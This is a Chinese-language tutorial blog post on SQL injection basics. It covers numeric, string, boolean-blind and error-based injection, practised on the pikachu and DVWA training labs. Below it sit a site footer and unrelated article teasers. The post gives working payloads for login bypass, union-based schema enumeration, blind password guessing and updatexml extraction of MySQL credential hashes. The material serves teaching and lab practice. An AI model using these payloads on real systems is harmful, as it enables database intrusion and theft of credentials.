01 SQl注入基础步骤(数字、字符、布尔盲注、报错)

目录

1、SQL注入漏洞的概要

2、SQL注入的常规思路

3、数字型注入

4、字符型注入

5、布尔盲注

6、报错注入


1、SQL注入漏洞的概要

原理:通过用户输入的数据未严格过滤,将恶意SQL语句拼接到原始查询中,从而操控数据库执行非预期操作。

危害

  1. 窃取敏感数据(用户信息、密码等)
  2. 篡改或删除数据库内容
  3. 提权攻击(获取服务器权限)

示例-用户登录场景中,输入 admin' -- 绕过密码验证:

SELECT * FROM users WHERE username='admin' -- ' AND password='...'

2、SQL注入的常规思路

  1. 寻找注入点,可以借助web扫描工具实现。

  2. 通过注入点,尝试获取数据库用户名user()、数据库名称database()、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

  3. 猜解关键数据库表及其重要字段(获取数据库root账号、密码)

  4. 通过获取的用户信息,寻找后台登录

  5. 利用后台了解进一步的信息

3、数字型注入

特征:参数为整数类型,无需引号闭合。
注入原理:直接拼接用户输入到SQL语句的数值位置。

测试靶场为pikachu数字型SQL注入漏洞

网页中若遇到数字型的SQL漏洞注入点时,可以按照一下方式进行注入:

  1. 寻找注入点,查看是否有回显信息。
    3 and 1=1 
    
    3 order by 1
    null union select 1,2

  2. 利用准备好的SQL语句进行注入

    null union select(select version()),(select database())
    null union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null
    null union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null

 

4、字符型注入

特征:参数为字符串类型,需用单引号闭合。
注入原理:闭合原始引号并插入恶意代码,注释掉后续内容。
测试的靶场为DVWA,以下为详细步骤:

  1. 寻找注入点,查看是否有回显信息。
    1' and 1=1#
    
    1' order by 1#
    null' union select null,null#

  2. 利用准备好的SQL语句进行注入

    null' union select(select version()),(select database())#
    null' union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null#
    null' union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null#

5、布尔盲注

适用场景:页面无显式数据回显,但会根据SQL执行结果返回不同状态(如内容长度、布尔值)。
原理:通过构造布尔条件(TRUE/FALSE),观察页面响应差异,逐字符猜测数据。

测试的靶场为DVWA,以下为详细步骤:

  1. 根据页面的不同状态,查看是否有注入点
    1' and 1=1#
    
    1' and 1=2#

  2. SQL语句准备
     

    1' and if (length(database())>4,1,0)# 
    1' and if (substring(database(),2,1)='v',1,0)#
    1' and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)#
    1' and if (substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',1,0)#
    1' and if (substring((select group_concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
  3. 利用BurpSuite工具,进行猜解名字



6、报错注入

适用场景:页面显示数据库错误信息(如MySQL错误日志)。
原理:利用数据库函数故意触发错误,将查询结果回显到报错信息中。

常见报错函数updatexml()extractvalue()exp()

SELECT * FROM users WHERE id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)

测试的靶场为DVWA,以下为详细步骤:

  1.  寻找注入点,查看页面是否报错。
    1'
    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  2. 利用准备好的SQL语句进行注入
     

    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,(select group_concat(authentication_string)  from mysql.user limit 1),0x7e),1)# 
    1' and updatexml(1,concat(0x7e,(substring((select group_concat(authentication_string)  from mysql.user limit 1),32,40)),0x7e),1)#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/984293.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】基础IO_文件系统基础

【Linux】基础IO_文件系统基础 文件目录 【Linux】基础IO_文件系统基础C语言文件IOC语言文件接口汇总什么是当前路径?默认打开的三个流 系统文件I/Oopenopen的第一个参数open的第二个参数open的第三个参数open的返回值 closewriteread 文件描述符fd文件描述符的分配…

批量删除 Excel 中的空白行、空白列以及空白表格

我们经常会碰到需要删除 Excel 文档表格中的空白行及空白列的场景,有一些空白行或空白列可能我们人工不好识别,因此删除空白行空白列对我们来讲就非常的繁琐,因为我们需要先识别哪些 Excel 文档中包含空白行或者空白列,我们才能够…

硬通货用Deekseek做一个Vue.js组件开发的教程

安装 Node.js 与 Vue CLI‌ npm install -g vue/cli vue create my-vue-project cd my-vue-project npm run serve 通过 Vue CLI 可快速生成项目骨架,默认配置适合新手快速上手 目录结构‌ src/ ├── components/ # 存放组件文件 │ └── …

第七课:Python反爬攻防战:Headers/IP代理与验证码

在爬虫开发过程中,反爬虫机制成为了我们必须面对的挑战。本文将深入探讨Python爬虫中常见的反爬机制,并详细解析如何通过随机User-Agent生成、代理IP池搭建以及验证码识别来应对这些反爬策略。文章将包含完整的示例代码,帮助读者更好地理解和…

OSPF:虚链路

一、虚链路概念 在OSPF中,虚链路(Virtual Link) 是一种逻辑连接,用于解决因网络设计或扩展导致的区域无法直接连接到骨干区域(Area 0)的问题。它是通过中间区域(Transit Area)在两个…

openharmory-鸿蒙生态设备之间文件互传发现、接入认证和文件传输

软件版本 OpenHarmony系统版本基线:基于 OpenHarmony-v5.0.0-Release。 图库应用版本:基于OpenHarmony-v5.0.0-Release。 文件管理器应用版本:基于OpenHarmony-v5.0.0-Release。 7 用户历程图 8 设备发现 8.1 设备交互流程图 8.2 设备发…

Linux系统编程--线程同步

目录 一、前言 二、线程饥饿 三、线程同步 四、条件变量 1、cond 2、条件变量的使用 五、条件变量与互斥锁 一、前言 上篇文章我们讲解了线程互斥的概念,为了防止多个线程同时访问一份临界资源而出问题,我们引入了线程互斥,线程互斥其实…

【HarmonyOS Next】鸿蒙加固方案调研和分析

【HarmonyOS Next】鸿蒙加固方案调研和分析 一、前言 根据鸿蒙应用的上架流程,本地构建app文件后,上架到AGC平台,平台会进行解析。根据鸿蒙系统的特殊设置,仿照IOS的生态闭环方案。只能从AGC应用市场下载app进行安装。这样的流程…

# 深入理解RNN(一):循环神经网络的核心计算机制

深入理解RNN:循环神经网络的核心计算机制 RNN示意图 引言 在自然语言处理、时间序列预测、语音识别等涉及序列数据的领域,循环神经网络(RNN)一直扮演着核心角色。尽管近年来Transformer等架构逐渐成为主流,RNN的基本原理和思想依然对于理…

深度学习实战车道线检测

深度学习实战车道线检测 这里写目录标题 车道线原理整体架构设计核心原理步骤1. 特征提取(骨干网络)2. 特征融合3. 车道线表示与分类4. 损失函数5. 后处理 速度优势的来源 软件实现安装环境与文件说明实验测试 结束语 车道线原理 Lane - Detection是一种…

【redis】五种数据类型和编码方式

文章目录 五种数据类型编码方式stringhashlistsetzset查询内部编码 五种数据类型 字符串:Java 中的 String哈希:Java 中的 HashMap列表:Java 中的 List集合:Java 中的 Set有序集合:除了存 member 之外,还有…

Next.js Server Action 提交 vs 前端 Fetch 提交:核心区别与优劣分析

在使用 Next.js 开发时,开发者经常会面临一个问题:前端的数据提交应该直接 Fetch 调用 API 还是使用 Next.js 提供的 Server Action 提交? 本文将深度解析: ✅ Server Action 提交数据的工作原理✅ 前端 Fetch 提交数据的优缺点…

DeepSeek开启AI办公新模式,WPS/Office集成DeepSeek-R1本地大模型!

从央视到地方媒体,已有多家媒体机构推出AI主播,最近杭州文化广播电视集团的《杭州新闻联播》节目,使用AI主持人进行新闻播报,且做到了0失误率,可见AI正在逐渐取代部分行业和一些重复性的工作,这一现象引发很…

混合存储HDD+SSD机型磁盘阵列,配上SSD缓存功能,性能提升300%

企业日常运行各种文件无处不在,文档、报告、视频、应用数据......面对成千上万的文件,团队之间需要做到无障碍协作,员工能够即时快速访问、共享处理文件。随着业务增长,数字化办公不仅需要大容量,快速高效的文件访问越…

【AI】什么是Embedding向量模型?我们应该如何选择?

我们之前讲的搭建本地知识库,基本都是使用检索增强生成(RAG)技术来搭建,Embedding模型则是RAG的核心,同时也是大模型落地必不可少的技术。那么今天我们就来聊聊Embedding向量模型: 一、Embedding模型是什么? Embedding模型是一种将离散数据(如文本、图像、用户行为等)…

Java在小米SU7 Ultra汽车中的技术赋能

目录 一、智能驾驶“大脑”与实时数据 场景一:海量数据的分布式计算 场景二:实时决策的毫秒级响应 场景三:弹性扩展与容错机制 技术隐喻: 二、车载信息系统(IVI)的交互 场景一:Android Automo…

【Python 数据结构 8.串】

目录 一、串的基本概念 1.串的概念 2.获取串的长度 3.串的拷贝 4.串的比较 5.串的拼接 6.串的索引 二、Python中串的使用 1.串的定义 2.串的拼接 3.获取串的长度 4.获取子串位置 5.获取字符串的索引 6.字符串的切片 7.字符串反转 8.字符串的比较 9.字符串的赋值 三、实战 1.344…

计算机视觉cv2入门之图像的读取,显示,与保存

在计算机视觉领域,Python的cv2库是一个不可或缺的工具,它提供了丰富的图像处理功能。作为OpenCV的Python接口,cv2使得图像处理的实现变得简单而高效。 示例图片 目录 opencv获取方式 图像基本知识 颜色空间 RGB HSV 图像格式 BMP格式 …

LLM 学习(二 完结 Multi-Head Attention、Encoder、Decoder)

文章目录 LLM 学习(二 完结 Multi-Head Attention、Encoder、Decoder)Self-Attention (自注意力机制)结构多头注意力 EncoderAdd & Norm 层Feed Forward 层 EncoderDecoder的第一个Multi-Head AttentionMasked 操作Teacher Fo…

006-获取硬件序列号

获取硬件序列号 我将从跨平台角度系统讲解如何通过C获取硬件序列号的核心技术&#xff0c;并提供可移植性代码实现。 一、处理器序列号获取 Windows平台 #include <windows.h> #include <intrin.h>std::string GetCPUSerial_Win() {DWORD cpuInfo[2] { 0 };__c…